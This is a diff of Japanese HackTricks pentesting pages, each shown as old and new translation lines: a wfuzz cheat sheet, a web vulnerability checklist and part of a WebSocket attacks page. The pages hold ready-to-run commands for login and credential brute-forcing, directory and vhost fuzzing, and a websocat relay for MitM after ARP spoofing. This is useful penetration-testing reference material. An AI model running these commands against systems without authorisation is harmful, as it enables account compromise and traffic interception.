# Web Tool - WFuzz
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
WebアプリケーションをどこでもFUZZするためのツール。
ウェブアプリケーションをどこでもFUZZするためのツール。
> [Wfuzz](https://github.com/xmendez/wfuzz)は、Webアプリケーションの評価作業を容易にするために作成され、次の単純なコンセプトに基づいています与えられたペイロードの値でFUZZキーワードへの参照を置換します。
> [Wfuzz](https://github.com/xmendez/wfuzz)は、ウェブアプリケーションの評価作業を容易にするために作成されており、単純な概念に基づいていますFUZZキーワードへの参照を指定されたペイロードの値で置き換えます。
## インストール
@ -48,19 +49,19 @@ wfuzz -e printers #Prints the available output formats
wfuzz -e encoders #Prints the available encoders
#Examples: urlencode, md5, base64, hexlify, uri_hex, doble urlencode
```
エンコーダを使用するには、**"-w"**または**"-z"**オプションでそれを指定する必要があります。
エンコーダを使用するには、**"-w"** または **"-z"** オプションで指定する必要があります。
:
```bash
-z file,/path/to/file,md5 #Will use a list inside the file, and will transform each value into its md5 hash before sending it
-w /path/to/file,base64 #Will use a list, and transform to base64
-z list,each-element-here,hexlify #Inline list and to hex before sending values
```
## チートシート
## CheetSheet
### ログインフォームブルートフォース
### ログインフォームブルートフォース
#### **POST、単一リスト、フィルタ文字列(非表示)**
#### **POST、シングルリスト、フィルタ文字列(非表示)**
```bash
wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by line
@ -70,23 +71,23 @@ wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by code
```
#### **GET、2つのリスト、フィルタ文字列(表示)、プロキシ、クッキー**
#### **GET、2つのリスト、フィルタ文字列表示、プロキシ、クッキー**
```bash
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
```
### ディレクトリ/RESTfulブルートフォース
### ブルートフォースディレクトリ/RESTfulブルートフォース
[Arjunパラメータワードリスト](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
```
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
```
### パスパラメータ BF
### パスパラメータBF
```bash
wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ'
```
### ヘッダー認証
#### **基本、2つのリスト、フィルタ文字列(表示)、プロキシ**
#### **基本、2つのリスト、フィルタ文字列表示、プロキシ**
```bash
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
```
@ -96,11 +97,11 @@ wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm '
```
### Cookie/Header bruteforce (vhost brute)
#### **Cookie、フィルターコード(表示)、プロキシ**
#### **クッキー、フィルターコード(表示)、プロキシ**
```bash
wfuzz -c -w users.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php"
```
#### **User-Agent、フィルターコード(非表示)、プロキシ**
#### **ユーザーエージェント、フィルターコード(非表示)、プロキシ**
```bash
wfuzz -c -w user-agents.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "User-Agent: FUZZ" "http://example.com/index.php"
```
@ -110,9 +111,9 @@ wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u
http://example.com -t 100
```
### HTTP メソッドのブルートフォース
### HTTP動詞(メソッド)ブルートフォース
#### **ファイルを使用する**
#### **ファイルを使用して**
```bash
wfuzz -c -w methods.txt -p 127.0.0.1:8080:HTTP --sc 200 -X FUZZ "http://example.com/index.php"
```
@ -120,7 +121,7 @@ wfuzz -c -w methods.txt -p 127.0.0.1:8080:HTTP --sc 200 -X FUZZ "http://example.
```bash
$ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/
```
### ディレクトリファイルのブルートフォース
### ディレクトリファイルのブルートフォース
```bash
#Filter by whitelisting codes
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ
@ -129,16 +130,17 @@ wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --
[https://github.com/carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,46 +1,47 @@
# Web脆弱性の方法論
# Web Vulnerabilities Methodology
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}
すべてのWebペンテストには、**脆弱性が存在する可能性のある隠れた場所や明らかな場所がいくつかあります**。この投稿は、すべての可能な場所で脆弱性を検索したことを確認するためのチェックリストとして機能します。
すべてのWebペンテストには、**脆弱性があるかもしれないいくつかの隠れた場所と明らかな場所があります**。この投稿は、すべての可能な場所で脆弱性を検索したことを確認するためのチェックリストを目的としています。
## プロキシ
## Proxies
{% hint style="info" %}
現在の**Webアプリケーション**は通常、ある種の**中間プロキシ**を使用します。これらは脆弱性を悪用するために(悪用されるかもしれません)。これらの脆弱性には、脆弱なプロキシが必要ですが、通常、バックエンドに追加の脆弱性も必要です。
現在、**Web** **アプリケーション**は通常、何らかの**仲介** **プロキシ**を使用しています。これらは脆弱性を悪用するために(悪用されることがあります)。これらの脆弱性には、脆弱なプロキシが必要ですが、通常はバックエンドに追加の脆弱性も必要です。
{% endhint %}
* [ ] [**ホップバイホップヘッダーの悪用**](../abusing-hop-by-hop-headers.md)
* [ ] [**キャッシュポイズニング/キャッシュデセプション**](../cache-deception.md)
* [ ] [**HTTPリクエストスマグリング**](../http-request-smuggling/)
* [ ] [**H2Cスマグリング**](../h2c-smuggling.md)
* [ ] [**HTTPリクエストスムギング**](../http-request-smuggling/)
* [ ] [**H2Cスムギング**](../h2c-smuggling.md)
* [ ] [**サーバーサイドインクルージョン/エッジサイドインクルージョン**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Cloudflareの特定**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**Cloudflareの発見**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**XSLTサーバーサイドインジェクション**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**プロキシ/WAF保護のバイパス**](../proxy-waf-protections-bypass.md)
## **ユーザー入力**
{% hint style="info" %}
ほとんどのWebアプリケーションは、**後で処理されるデータをユーザーに入力させる**ことがあります。\
サーバーが期待しているデータの構造に応じて、いくつかの脆弱性が適用されるかどうかが異なります。
ほとんどのWebアプリケーションは、**ユーザーが後で処理されるデータを入力することを許可します。**\
データの構造によって、サーバーが期待する脆弱性が適用される場合とされない場合があります。
{% endhint %}
### **反映された値**
導入されたデータがどのような形で応答に反映される可能性がある場合、ページはいくつかの問題に脆弱になる可能性があります。
入力されたデータが何らかの形で応答に反映される場合、ページはさまざまな問題に対して脆弱である可能性があります。
* [ ] [**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)
* [ ] [**コマンドインジェクション**](../command-injection.md)
@ -48,17 +49,17 @@ HackTricksをサポートする他の方法
* [ ] [**ダングリングマークアップ**](../dangling-markup-html-scriptless-injection/)
* [ ] [**ファイルインクルージョン/パストラバーサル**](../file-inclusion/)
* [ ] [**オープンリダイレクト**](../open-redirect.md)
* [ ] [**XSSへのプロトタイプ汚染**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**プロトタイプ汚染からXSSへ**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**サーバーサイドインクルージョン/エッジサイドインクルージョン**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**サーバーサイドリクエストフォージェリ**](../ssrf-server-side-request-forgery/)
* [ ] [**サーバーサイドテンプレートインジェクション**](../ssti-server-side-template-injection/)
* [ ] [**リバースタブナビ**](../reverse-tab-nabbing.md)
* [ ] [**リバースタブナビゲーション**](../reverse-tab-nabbing.md)
* [ ] [**XSLTサーバーサイドインジェクション**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**XSS**](../xss-cross-site-scripting/)
* [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
* [ ] [**XS-Search**](../xs-search.md)
上記の脆弱性のいくつかは特定の条件を必要とし、他のものは単に内容が反映されるだけで済みます。次のポリグロットを見つけることで、脆弱性を迅速にテストするための興味深いものがいくつかあります:
いくつかの脆弱性は特別な条件を必要とし、他のものは単にコンテンツが反映されることを必要とします。脆弱性を迅速にテストするための興味深いポリグロットを見つけることができます:
{% content-ref url="../pocs-and-polygloths-cheatsheet/" %}
[pocs-and-polygloths-cheatsheet](../pocs-and-polygloths-cheatsheet/)
@ -66,7 +67,7 @@ HackTricksをサポートする他の方法
### **検索機能**
機能がバックエンド内のある種のデータを検索するために使用される可能性がある場合、任意のデータを検索するために(悪用することができるかもしれませんそれを検索することができるかもしれません。
機能がバックエンド内のデータを検索するために使用される場合、任意のデータを検索するために(悪用)できるかもしれません。
* [ ] [**ファイルインクルージョン/パストラバーサル**](../file-inclusion/)
* [ ] [**NoSQLインジェクション**](../nosql-injection.md)
@ -75,51 +76,51 @@ HackTricksをサポートする他の方法
* [ ] [**SQLインジェクション**](../sql-injection/)
* [ ] [**XPATHインジェクション**](../xpath-injection.md)
### **フォーム、WebSockets、およびPostMsgs**
### **フォーム、WebSockets、PostMsgs**
Webソケットがメッセージを投稿したり、ユーザーがアクションを実行できるフォームがある場合、脆弱性が発生する可能性があります。
WebSocketがメッセージを投稿したり、ユーザーがアクションを実行できるフォームがある場合、脆弱性が発生する可能性があります。
* [ ] [**クロスサイトリクエストフォージェリ**](../csrf-cross-site-request-forgery.md)
* [ ] [**クロスサイトWebSocketハイジャッキングCSWSH**](../websocket-attacks.md)
* [ ] [**PostMessage脆弱性**](../postmessage-vulnerabilities/)
* [ ] [**クロスサイトWebSocketハイジャッCSWSH**](../websocket-attacks.md)
* [ ] [**PostMessage脆弱性**](../postmessage-vulnerabilities/)
### **HTTPヘッダー**
Webサーバーが提供するHTTPヘッダーに応じて、いくつかの脆弱性が存在する可能性があります。
Webサーバーから提供されるHTTPヘッダーによって、いくつかの脆弱性が存在する可能性があります。
* [ ] [**クリックジャッキング**](../clickjacking.md)
* [ ] [**コンテンツセキュリティポリシーバイパス**](../content-security-policy-csp-bypass/)
* [ ] [**クッキーハッキング**](../hacking-with-cookies/)
* [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
* [ ] [**コンテンツセキュリティポリシーバイパス**](../content-security-policy-csp-bypass/)
* [ ] [**クッキーハッキング**](../hacking-with-cookies/)
* [ ] [**CORS - 設定ミスとバイパス**](../cors-bypass.md)
### **バイパス**
いくつかの特定の機能では、いくつかの回避策が役立つ場合があります。
特定の機能には、バイパスするために役立ついくつかの回避策があります。
* [ ] [**2FA/OTPバイパス**](../2fa-bypass.md)
* [ ] [**支払いプロセスのバイパス**](../bypass-payment-process.md)
* [ ] [**CAPTCHAバイパス**](../captcha-bypass.md)
* [ ] [**Captchaバイパス**](../captcha-bypass.md)
* [ ] [**ログインバイパス**](../login-bypass/)
* [ ] [**競合状態**](../race-condition.md)
* [ ] [**レートリミットバイパス**](../rate-limit-bypass.md)
* [ ] [**パスワードを忘れた場合のリセットバイパス**](../reset-password.md)
* [ ] [**登録脆弱性**](../registration-vulnerabilities.md)
* [ ] [**レースコンディション**](../race-condition.md)
* [ ] [**レート制限バイパス**](../rate-limit-bypass.md)
* [ ] [**パスワードリセットバイパス**](../reset-password.md)
* [ ] [**登録脆弱性**](../registration-vulnerabilities.md)
### **構造化されたオブジェクト/特定の機能**
### **構造化オブジェクト/特定の機能**
一部の機能では、**データが非常に特定の形式で構造化**されている必要があります言語のシリアライズオブジェクトやXMLなど)。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱である可能性が高くなります。\
一部の**特定の機能**は、**入力の特定の形式**(電子メールヘッダーインジェクションなど)が使用される場合にも脆弱になる可能性があります
いくつかの機能は、**非常に特定の形式でデータを構造化することを必要とします**言語シリアライズオブジェクトやXMLのように)。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\
いくつかの**特定の機能**も、**特定の形式の入力が使用される場合**に脆弱である可能性があります(メールヘッダーインジェクションのように)
* [ ] [**デシリアライゼーション**](../deserialization/)
* [ ] [**電子メールヘッダーインジェクション**](../email-injections.md)
* [ ] [**JWT脆弱性**](../hacking-jwt-json-web-tokens.md)
* [ ] [**デシリアライ**](../deserialization/)
* [ ] [**メールヘッダーインジェクション**](../email-injections.md)
* [ ] [**JWT脆弱性**](../hacking-jwt-json-web-tokens.md)
* [ ] [**XML外部エンティティ**](../xxe-xee-xml-external-entity.md)
### ファイル
ファイルのアップロードを許可する機能は、いくつかの問題に脆弱になる可能性があります。\
ファイルのアップロードを許可する機能は、いくつかの問題に対して脆弱である可能性があります。\
ユーザー入力を含むファイルを生成する機能は、予期しないコードを実行する可能性があります。\
ユーザーがユーザーがアップロードしたファイルまたはユーザー入力を含む自動生成されたファイルを開くと、危険にさらされる可能性があります。
ユーザーがアップロードしたファイルユーザー入力を含む自動生成されたファイルを開くと、危険にさらされる可能性があります。
* [ ] [**ファイルアップロード**](../file-upload/)
* [ ] [**数式インジェクション**](../formula-csv-doc-latex-ghostscript-injection.md)
@ -128,28 +129,29 @@ Webサーバーが提供するHTTPヘッダーに応じて、いくつかの脆
### **外部アイデンティティ管理**
* [ ] [**OAUTHからアカウント乗っ取り**](../oauth-to-account-takeover.md)
* [ ] [**OAUTHによるアカウント乗っ取り**](../oauth-to-account-takeover.md)
* [ ] [**SAML攻撃**](../saml-attacks/)
### **その他の役立つ脆弱性**
これらの脆弱性は、他の脆弱性を悪用するのに役立つかもしれません。
* [ ] [**ドメイン/サブドメイン乗っ取り**](../domain-subdomain-takeover.md)
* [ ] [**ドメイン/サブドメイン乗っ取り**](../domain-subdomain-takeover.md)
* [ ] [**IDOR**](../idor.md)
* [ ] [**パラメータポリューション**](../parameter-pollution.md)
* [ ] [**Unicode正規化の脆弱性**](../unicode-injection/)
* [ ] [**パラメータ汚染**](../parameter-pollution.md)
* [ ] [**Unicode正規化脆弱性**](../unicode-injection/)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,32 +1,33 @@
# WebSocket Attacks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## WebSocketsとは
## What are WebSockets
WebSocket接続は初期の**HTTP**ハンドシェイクを介して確立され、**長寿命**であり、トランザクショナルシステムの必要なくいつでも双方向メッセージングを可能にするよう設計されています。これにより、**低遅延またはサーバー起点の通信**が必要なアプリケーションにとって特に有利であり、ライブ金融データストリームなどが該当します。
WebSocket接続は、最初の**HTTP**ハンドシェイクを通じて確立され、**長期間**の接続を目的としており、トランザクションシステムを必要とせずにいつでも双方向のメッセージングを可能にします。これにより、WebSocketは、ライブ金融データストリームなどの**低遅延またはサーバー起動の通信**を必要とするアプリケーションに特に有利です。
### WebSocket接続の確立
### Establishment of WebSocket Connections
WebSocket接続の確立に関する詳細な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)でアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアントサイドのJavaScriptによって開始されます:
WebSocket接続の確立に関する詳細な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)でアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
`wss`プロトコルは**TLS**で保護されたWebSocket接続を示し、`ws`は**保護されていない**接続を示します。
`wss`プロトコルは**TLS**で保護されたWebSocket接続を示し、`ws`は**保護されていない**接続を示します。
接続確立中に、ブラウザとサーバー間でHTTP経由でハンドシェイクが行われます。ハンドシェイクプロセスには、ブラウザがリクエストを送信し、サーバーが応答するという手順が含まれます。以下はその例です
接続の確立中に、ブラウザとサーバーの間でHTTPを介してハンドシェイクが行われます。ハンドシェイクプロセスでは、ブラウザがリクエストを送信し、サーバーが応答します。以下の例に示すように
ブラウザがハンドシェイクリクエストを送信します:
```javascript
@ -45,16 +46,20 @@ Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
WebSocketの接続は一度確立されると、両方向でメッセージのやり取りが可能なまま開かれたままとなります。
接続は確立されると、双方向でメッセージ交換のためにオープンのままになります。
**WebSocketハンドシェイクのなポイント:**
**WebSocketハンドシェイクの重要なポイント:**
- `Connection`および`Upgrade`ヘッダーはWebSocketハンドシェイクの開始を示します。
- `Sec-WebSocket-Version`ヘッダーは、通常`13`である希望するWebSocketプロトコルバージョンを示します。
- `Sec-WebSocket-Key`ヘッダーには、Base64でエンコードされたランダムな値が送信されます。これにより、各ハンドシェイクが一意であることが保証され、キャッシュプロキシに関連する問題を防ぐのに役立ちます。この値は認証用ではなく、応答が誤って構成されたサーバーまたはキャッシュによって生成されていないことを確認するためのものです。
- サーバーの応答に含まれる`Sec-WebSocket-Accept`ヘッダーは、`Sec-WebSocket-Key`のハッシュであり、サーバーがWebSocket接続を開く意図を確認します。
- `Connection`および`Upgrade`ヘッダーはWebSocketハンドシェイクの開始を示します。
- `Sec-WebSocket-Version`ヘッダーは、通常`13`希望するWebSocketプロトコルバージョンを示します。
- Base64エンコードされたランダム値が`Sec-WebSocket-Key`ヘッダーに送信され、各ハンドシェイクがユニークであることを保証し、キャッシングプロキシによる問題を防ぎます。この値は認証のためではなく、応答が誤って構成されたサーバーやキャッシュによって生成されていないことを確認するためのものです。
- サーバーの応答における`Sec-WebSocket-Accept`ヘッダーは`Sec-WebSocket-Key`のハッシュであり、WebSocket接続を開くというサーバーの意図を確認します。
これらの機能により、ハンドシェイクプロセスが安全かつ信頼性があり、効率的なリアルタイム通信が実現されます。
これらの機能は、ハンドシェイクプロセスが安全で信頼性があることを保証し、効率的なリアルタイム通信への道を開きます。
### Linuxコンソール
`websocat`を使用してWebSocketとの生の接続を確立できます。
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
@ -64,39 +69,39 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket connections
クライアントが現在のローカルネットワークから**HTTP websocket**に接続していることがわかった場合、[ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)を試て、クライアントとサーバーの間でMitM攻撃を実行できます。\
クライアントが接続しようとしているときに、次のように使用できます
もしクライアントが現在のローカルネットワークから**HTTP websocket**に接続していることがわかった場合、[ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)を試て、クライアントとサーバーの間でMitM攻撃を実行することができます。\
クライアントが接続しようとしているときに、次のように使用できます:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets enumeration
**ツール**[**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS)**を使用して、websocketsで自動的に**脆弱性**を**発見**、**指紋**を取得し、既知の**脆弱性**を検索できます。
